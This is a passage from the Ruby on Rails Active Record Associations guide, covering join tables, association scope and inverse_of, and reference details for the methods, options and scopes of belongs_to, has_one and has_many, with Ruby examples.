of "authors_books" because "a" outranks "b" in lexical ordering. + +WARNING: The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings). + +Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: + +```ruby +class Assembly < ApplicationRecord + has_and_belongs_to_many :parts +end + +class Part < ApplicationRecord + has_and_belongs_to_many :assemblies +end +``` + +These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key: + +```ruby +class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0] + def change + create_table :assemblies_parts, id: false do |t| + t.integer :assembly_id + t.integer :part_id + end + + add_index :assemblies_parts, :assembly_id + add_index :assemblies_parts, :part_id + end +end +``` + +We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit. + +You can also use the method `create_join_table` + +```ruby +class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0] + def change + create_join_table :assemblies, :parts do |t| + t.index :assembly_id + t.index :part_id + end + end +end +``` + +### Controlling Association Scope + +By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: + +```ruby +module MyApplication + module Business + class Supplier < ApplicationRecord + has_one :account + end + + class Account < ApplicationRecord + belongs_to :supplier + end + end +end +``` + +This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes: + +```ruby +module MyApplication + module Business + class Supplier < ApplicationRecord + has_one :account + end + end + + module Billing + class Account < ApplicationRecord + belongs_to :supplier + end + end +end +``` + +To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration: + +```ruby +module MyApplication + module Business + class Supplier < ApplicationRecord + has_one :account, + class_name: "MyApplication::Billing::Account" + end + end + + module Billing + class Account < ApplicationRecord + belongs_to :supplier, + class_name: "MyApplication::Business::Supplier" + end + end +end +``` + +### Bi-directional Associations + +It's normal for associations to work in two directions, requiring declaration on two different models: + +```ruby +class Author < ApplicationRecord + has_many :books +end + +class Book < ApplicationRecord + belongs_to :author +end +``` + +Active Record will attempt to automatically identify that these two models share a bi-directional association based on the association name. In this way, Active Record will only load one copy of the `Author` object, making your application more efficient and preventing inconsistent data: + +```ruby +a = Author.first +b = a.books.first +a.first_name == b.author.first_name # => true +a.first_name = 'David' +a.first_name == b.author.first_name # => true +``` + +Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain a scope or any of the following options: + +* `:through` +* `:foreign_key` + +For example, consider the following model declarations: + +```ruby +class Author < ApplicationRecord + has_many :books +end + +class Book < ApplicationRecord + belongs_to :writer, class_name: 'Author', foreign_key: 'author_id' +end +``` + +Active Record will no longer automatically recognize the bi-directional association: + +```ruby +a = Author.first +b = a.books.first +a.first_name == b.writer.first_name # => true +a.first_name = 'David' +a.first_name == b.writer.first_name # => false +``` + +Active Record provides the `:inverse_of` option so you can explicitly declare bi-directional associations: + +```ruby +class Author < ApplicationRecord + has_many :books, inverse_of: 'writer' +end + +class Book < ApplicationRecord + belongs_to :writer, class_name: 'Author', foreign_key: 'author_id' +end +``` + +By including the `:inverse_of` option in the `has_many` association declaration, Active Record will now recognize the bi-directional association: + +```ruby +a = Author.first +b = a.books.first +a.first_name == b.writer.first_name # => true +a.first_name = 'David' +a.first_name == b.writer.first_name # => true +``` + +Detailed Association Reference +------------------------------ + +The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. + +### `belongs_to` Association Reference + +The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead. + +#### Methods Added by `belongs_to` + +When you declare a `belongs_to` association, the declaring class automatically gains 6 methods related to the association: + +* `association` +* `association=(associate)` +* `build_association(attributes = {})` +* `create_association(attributes = {})` +* `create_association!(attributes = {})` +* `reload_association` + +In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration: + +```ruby +class Book < ApplicationRecord + belongs_to :author +end +``` + +Each instance of the `Book` model will have these methods: + +```ruby +author +author= +build_author +create_author +create_author! +reload_author +``` + +NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. + +##### `association` + +The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. + +```ruby +@author = @book.author +``` + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload_association` on the parent object. + +```ruby +@author = @book.reload_author +``` + +##### `association=(associate)` + +The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value. + +```ruby +@book.author = @author +``` + +##### `build_association(attributes = {})` + +The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. + +```ruby +@author = @book.build_author(author_number: 123, + author_name: "John Doe") +``` + +##### `create_association(attributes = {})` + +The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@author = @book.create_author(author_number: 123, + author_name: "John Doe") +``` + +##### `create_association!(attributes = {})` + +Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + + +#### Options for `belongs_to` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options: + +```ruby +class Book < ApplicationRecord + belongs_to :author, touch: :books_updated_at, + counter_cache: true +end +``` + +The `belongs_to` association supports these options: + +* `:autosave` +* `:class_name` +* `:counter_cache` +* `:dependent` +* `:foreign_key` +* `:primary_key` +* `:inverse_of` +* `:polymorphic` +* `:touch` +* `:validate` +* `:optional` + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is `Patron`, you'd set things up this way: + +```ruby +class Book < ApplicationRecord + belongs_to :author, class_name: "Patron" +end +``` + +##### `:counter_cache` + +The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models: + +```ruby +class Book < ApplicationRecord + belongs_to :author +end +class Author < ApplicationRecord + has_many :books +end +``` + +With these declarations, asking for the value of `@author.books.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model: + +```ruby +class Book < ApplicationRecord + belongs_to :author, counter_cache: true +end +class Author < ApplicationRecord + has_many :books +end +``` + +With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method. + +Although the `:counter_cache` option is specified on the model that includes +the `belongs_to` declaration, the actual column must be added to the +_associated_ (`has_many`) model. In the case above, you would need to add a +column named `books_count` to the `Author` model. + +You can override the default column name by specifying a custom column name in +the `counter_cache` declaration instead of `true`. For example, to use +`count_of_books` instead of `books_count`: + +```ruby +class Book < ApplicationRecord + belongs_to :author, counter_cache: :count_of_books +end +class Author < ApplicationRecord + has_many :books +end +``` + +NOTE: You only need to specify the `:counter_cache` option on the `belongs_to` +side of the association. + +Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. + +##### `:dependent` +If you set the `:dependent` option to: + +* `:destroy`, when the object is destroyed, `destroy` will be called on its +associated objects. +* `:delete`, when the object is destroyed, all its associated objects will be +deleted directly from the database without calling their `destroy` method. + +WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. + +##### `:foreign_key` + +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class Book < ApplicationRecord + belongs_to :author, class_name: "Patron", + foreign_key: "patron_id" +end +``` + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +##### `:primary_key` + +By convention, Rails assumes that the `id` column is used to hold the primary key +of its tables. The `:primary_key` option allows you to specify a different column. + +For example, given we have a `users` table with `guid` as the primary key. If we want a separate `todos` table to hold the foreign key `user_id` in the `guid` column, then we can use `primary_key` to achieve this like so: + +```ruby +class User < ApplicationRecord + self.primary_key = 'guid' # primary key is guid and not id +end + +class Todo < ApplicationRecord + belongs_to :user, primary_key: 'guid' +end +``` + +When we execute `@user.todos.create` then the `@todo` record will have its +`user_id` value as the `guid` value of `@user`. + +##### `:inverse_of` + +The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. + +```ruby +class Author < ApplicationRecord + has_many :books, inverse_of: :author +end + +class Book < ApplicationRecord + belongs_to :author, inverse_of: :books +end +``` + +##### `:polymorphic` + +Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. + +##### `:touch` + +If you set the `:touch` option to `true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed: + +```ruby +class Book < ApplicationRecord + belongs_to :author, touch: true +end + +class Author < ApplicationRecord + has_many :books +end +``` + +In this case, saving or destroying a book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update: + +```ruby +class Book < ApplicationRecord + belongs_to :author, touch: :books_updated_at +end +``` + +##### `:validate` + +If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved. + +##### `:optional` + +If you set the `:optional` option to `true`, then the presence of the associated +object won't be validated. By default, this option is set to `false`. + +#### Scopes for `belongs_to` + +There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Book < ApplicationRecord + belongs_to :author, -> { where active: true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `includes` +* `readonly` +* `select` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Book < ApplicationRecord + belongs_to :author, -> { where active: true } +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +```ruby +class Chapter < ApplicationRecord + belongs_to :book +end + +class Book < ApplicationRecord + belongs_to :author + has_many :chapters +end + +class Author < ApplicationRecord + has_many :books +end +``` + +If you frequently retrieve authors directly from chapters (`@chapter.book.author`), then you can make your code somewhat more efficient by including authors in the association from chapters to books: + +```ruby +class Chapter < ApplicationRecord + belongs_to :book, -> { includes :author } +end + +class Book < ApplicationRecord + belongs_to :author + has_many :chapters +end + +class Author < ApplicationRecord + has_many :books +end +``` + +NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Book belongs_to :author`, then the author is eager-loaded automatically when it's needed. + +##### `readonly` + +If you use `readonly`, then the associated object will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results. + +#### Do Any Associated Objects Exist? + +You can see if any associated objects exist by using the `association.nil?` method: + +```ruby +if @book.author.nil? + @msg = "No author found for this book" +end +``` + +#### When are Objects Saved? + +Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either. + +### `has_one` Association Reference + +The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead. + +#### Methods Added by `has_one` + +When you declare a `has_one` association, the declaring class automatically gains 6 methods related to the association: + +* `association` +* `association=(associate)` +* `build_association(attributes = {})` +* `create_association(attributes = {})` +* `create_association!(attributes = {})` +* `reload_association` + +In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration: + +```ruby +class Supplier < ApplicationRecord + has_one :account +end +``` + +Each instance of the `Supplier` model will have these methods: + +```ruby +account +account= +build_account +create_account +create_account! +reload_account +``` + +NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. + +##### `association` + +The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. + +```ruby +@account = @supplier.account +``` + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload_association` on the parent object. + +```ruby +@account = @supplier.reload_account +``` + +##### `association=(associate)` + +The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value. + +```ruby +@supplier.account = @account +``` + +##### `build_association(attributes = {})` + +The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved. + +```ruby +@account = @supplier.build_account(terms: "Net 30") +``` + +##### `create_association(attributes = {})` + +The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@account = @supplier.create_account(terms: "Net 30") +``` + +##### `create_association!(attributes = {})` + +Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + +#### Options for `has_one` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: + +```ruby +class Supplier < ApplicationRecord + has_one :account, class_name: "Billing", dependent: :nullify +end +``` + +The `has_one` association supports these options: + +* `:as` +* `:autosave` +* `:class_name` +* `:dependent` +* `:foreign_key` +* `:inverse_of` +* `:primary_key` +* `:source` +* `:source_type` +* `:through` +* `:validate` + +##### `:as` + +Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations). + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way: + +```ruby +class Supplier < ApplicationRecord + has_one :account, class_name: "Billing" +end +``` + +##### `:dependent` + +Controls what happens to the associated object when its owner is destroyed: + +* `:destroy` causes the associated object to also be destroyed +* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute) +* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed. +* `:restrict_with_exception` causes an `ActiveRecord::DeleteRestrictionError` exception to be raised if there is an associated record +* `:restrict_with_error` causes an error to be added to the owner if there is an associated object + +It's necessary not to set or leave `:nullify` option for those associations +that have `NOT NULL` database constraints. If you don't set `dependent` to +destroy such associations you won't be able to change the associated object +because the initial associated object's foreign key will be set to the +unallowed `NULL` value. + +##### `:foreign_key` + +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class Supplier < ApplicationRecord + has_one :account, foreign_key: "supp_id" +end +``` + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +##### `:inverse_of` + +The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. + +```ruby +class Supplier < ApplicationRecord + has_one :account, inverse_of: :supplier +end + +class Account < ApplicationRecord + belongs_to :supplier, inverse_of: :account +end +``` + +##### `:primary_key` + +By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. + +##### `:source` + +The `:source` option specifies the source association name for a `has_one :through` association. + +##### `:source_type` + +The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association. + +##### `:through` + +The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association). + +##### `:validate` + +If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved. + +#### Scopes for `has_one` + +There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Supplier < ApplicationRecord + has_one :account, -> { where active: true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `includes` +* `readonly` +* `select` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Supplier < ApplicationRecord + has_one :account, -> { where "confirmed = 1" } +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +```ruby +class Supplier < ApplicationRecord + has_one :account +end + +class Account < ApplicationRecord + belongs_to :supplier + belongs_to :representative +end + +class Representative < ApplicationRecord + has_many :accounts +end +``` + +If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: + +```ruby +class Supplier < ApplicationRecord + has_one :account, -> { includes :representative } +end + +class Account < ApplicationRecord + belongs_to :supplier + belongs_to :representative +end + +class Representative < ApplicationRecord + has_many :accounts +end +``` + +##### `readonly` + +If you use the `readonly` method, then the associated object will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +#### Do Any Associated Objects Exist? + +You can see if any associated objects exist by using the `association.nil?` method: + +```ruby +if @supplier.account.nil? + @msg = "No account found for this supplier" +end +``` + +#### When are Objects Saved? + +When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. + +If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. + +If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved. + +If you want to assign an object to a `has_one` association without saving the object, use the `build_association` method. + +### `has_many` Association Reference + +The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. + +#### Methods Added by `has_many` + +When you declare a `has_many` association, the declaring class automatically gains 17 methods related to the association: + +* `collection` +* `collection<<(object, ...)` +* `collection.delete(object, ...)` +* `collection.destroy(object, ...)` +* `collection=(objects)` +* `collection_singular_ids` +* `collection_singular_ids=(ids)` +* `collection.clear` +* `collection.empty?` +* `collection.size` +* `collection.find(...)` +* `collection.where(...)` +* `collection.exists?(...)` +* `collection.build(attributes = {}, ...)` +* `collection.create(attributes = {})` +* `collection.create!(attributes = {})` +* `collection.reload` + +In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: + +```ruby +class Author < ApplicationRecord + has_many :books +end +``` + +Each instance of the `Author` model will have these methods: + +```ruby +books +books<<(object, ...) +books.delete(object, ...) +books.destroy(object, ...) +books=(objects) +book_ids +book_ids=(ids) +books.clear +books.empty? +books.size +books.find(...) +books.where(...) +books.exists?(...) +books.build(attributes = {}, ...) +books.create(attributes = {}) +books.create!(attributes = {}) +books.reload +``` + +##### `collection` + +The `collection` method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation. + +```ruby +@books = @author.books +``` + +##### `collection<<(object, ...)` + +The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. + +```ruby +@author.books << @book1 +``` + +##### `collection.delete(object, ...)` + +The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`. + +```ruby +@author.books.delete(@book1) +``` + +WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`. + +##### `collection.destroy(object, ...)` + +The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object. + +```ruby +@author.books.destroy(@book1) +``` + +WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option. + +##### `collection=(objects)` + +The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database. + +##### `collection_singular_ids` + +The `collection_singular_ids` method returns an array of the ids of the objects in the collection. + +```ruby +@book_ids = @author.book_ids +``` + +##### `collection_singular_ids=(ids)` + +The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database. + +##### `collection.clear` + +The `collection.clear` method removes all objects from the collection according to the strategy specified by the `dependent` option. If no option is given, it follows the default strategy. The default strategy for `has_many :through` associations is `delete_all`, and for `has_many` associations is to set the foreign keys to `NULL`. + +```ruby +@author.books.clear +``` + +WARNING: Objects will be deleted if they're associated with `dependent: :destroy`, +just like `dependent: :delete_all`. + +##### `collection.empty?` + +The `collection.empty?` method returns `true` if the collection does not contain any associated objects. + +```erb +<% if @author.books.empty? %> + No Books Found +<% end %> +``` + +##### `collection.size` + +The `collection.size` method returns the number of objects in the collection. + +```ruby +@book_count = @author.books.size +``` + +##### `collection.find(...)` + +The `collection.find` method finds objects within the collection. It uses the same syntax and options as +[`ActiveRecord::Base.find`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find). + +```ruby +@available_book = @author.books.find(1) +``` + +##### `collection.where(...)` + +The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. + +```ruby +@available_books = @author.books.where(available: true) # No query yet +@available_book = @available_books.first # Now the database will be queried +``` + +##### `collection.exists?(...)` + +The `collection.exists?` method checks whether an object meeting the supplied +conditions exists in the collection. It uses the same syntax and options as +[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). + +##### `collection.build(attributes = {}, ...)` + +The `collection.build` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. + +```ruby +@book = @author.books.build(published_at: Time.now, + book_number: "A12345") + +@books = @author.books.build([ + { published_at: Time.now, book_number: "A12346" }, + { published_at: Time.now, book_number: "A12347" } +]) +``` + +##### `collection.create(attributes = {})` + +The `collection.create` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@book = @author.books.create(published_at: Time.now, + book_number: "A12345") + +@books = @author.books.create([ + { published_at: Time.now, book_number: "A12346" }, + { published_at: Time.now, book_number: "A12347" } +]) +``` + +##### `collection.create!(attributes = {})` + +Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + +##### `collection.reload` + +The `collection.reload` method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation. + +```ruby +@books = @author.books.reload +``` + +#### Options for `has_many` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: + +```ruby +class Author < ApplicationRecord + has_many :books, dependent: :delete_all, validate: false +end +``` + +The `has_many` association supports these options: + +* `:as` +* `:autosave` +* `:class_name` +* `:counter_cache` +* `:dependent` +* `:foreign_key` +* `:inverse_of` +* `:primary_key` +* `:source` +* `:source_type` +* `:through` +* `:validate` + +##### `:as` + +Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations). + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is `Transaction`, you'd set things up this way: + +```ruby +class Author < ApplicationRecord + has_many :books, class_name: "Transaction" +end +``` + +##### `:counter_cache` + +This option can be used to configure a custom named `:counter_cache`. You only need this option when you customized the name of your `:counter_cache` on the [belongs_to association](#options-for-belongs-to). + +##### `:dependent` + +Controls what happens to the associated objects when their owner is destroyed: + +* `:destroy` causes all the associated objects to also be destroyed +* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute) +* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed. +* `:restrict_with_exception` causes an `ActiveRecord::DeleteRestrictionError` exception to be raised if there are any associated records +* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects + +The `:destroy` and `:delete_all` options also affect the semantics of the `collection.delete` and `collection=` methods by causing them to destroy associated objects when they are removed from the collection. + +##### `:foreign_key` + +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class Author < ApplicationRecord + has_many :books, foreign_key: "cust_id" +end +``` + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +##### `:inverse_of` + +The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. + +```ruby +class Author < ApplicationRecord + has_many :books, inverse_of: :author +end + +class Book < ApplicationRecord + belongs_to :author, inverse_of: :books +end +``` + +##### `:primary_key` + +By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. + +Let's say the `users` table has `id` as the primary_key but it also +has a `guid` column. The requirement is that the `todos` table should +hold the `guid` column value as the foreign key and not `id` +value. This can be achieved like this: + +```ruby +class User < ApplicationRecord + has_many :todos, primary_key: :guid +end +``` + +Now if we execute `@todo = @user.todos.create` then the `@todo` +record's `user_id` value will be the `guid` value of `@user`. + + +##### `:source` + +The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. + +##### `:source_type` + +The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association. + +##### `:through` + +The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association). + +##### `:validate` + +If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved. + +#### Scopes for `has_many` + +There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Author < ApplicationRecord + has_many :books, -> { where processed: true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `extending` +* `group` +* `includes` +* `limit` +* `offset` +* `order` +* `readonly` +* `select` +* `distinct` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Author < ApplicationRecord + has_many :confirmed_books, -> { where "confirmed = 1" }, + class_name: "Book" +end +``` + +You can also set conditions via a hash: + +```ruby +class Author < ApplicationRecord + has_many :confirmed_books, -> { where confirmed: true }, + class_name: "Book" +end +``` + +If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@author.confirmed_books.create` or `@author.confirmed_books.build` will create books where the confirmed column has the value `true`. + +##### `extending` + +The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions). + +##### `group` + +The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. + +```ruby +class Author < ApplicationRecord + has_many :chapters, -> { group 'books.id' }, + through: :books +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +```ruby +class Author < ApplicationRecord + has_many :books +end + +class Book < ApplicationRecord + belongs_to :author + has_many :chapters +end + +class Chapter < ApplicationRecord + belongs_to :book +end +``` + +If you frequently retrieve chapters directly from authors (`@author.books.chapters`), then you can make your code somewhat more efficient by including chapters in the association from authors to books: + +```ruby +class Author < ApplicationRecord + has_many :books, -> { includes :chapters } +end + +class Book < ApplicationRecord + belongs_to :author + has_many :chapters +end + +class Chapter < ApplicationRecord + belongs_to :book +end +``` + +##### `limit` + +The `limit` method lets you restrict the total number of objects that will be fetched through an association. + +```ruby +class Author < ApplicationRecord + has_many :recent_books, + -> { order('published_at desc').limit(100) }, + class_name: "Book" +end +``` + +##### `offset` + +The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records. + +##### `order` + +The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). + +```ruby +class Author < ApplicationRecord + has_many :books, -> { order "date_confirmed DESC" } +end +``` + +##### `readonly` + +If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. + +##### `distinct` + +Use the `distinct` method to keep the collection free of duplicates. This is +mostly useful together with the `:through` option. + +```ruby +class Person < ApplicationRecord + has_many :readings + has_many :articles, through: :readings +end + +person = Person.create(name: 'John') +article = Article.create(name: 'a1') +person.articles << article +person.articles << article +person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">] +Reading.all.inspect # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>] 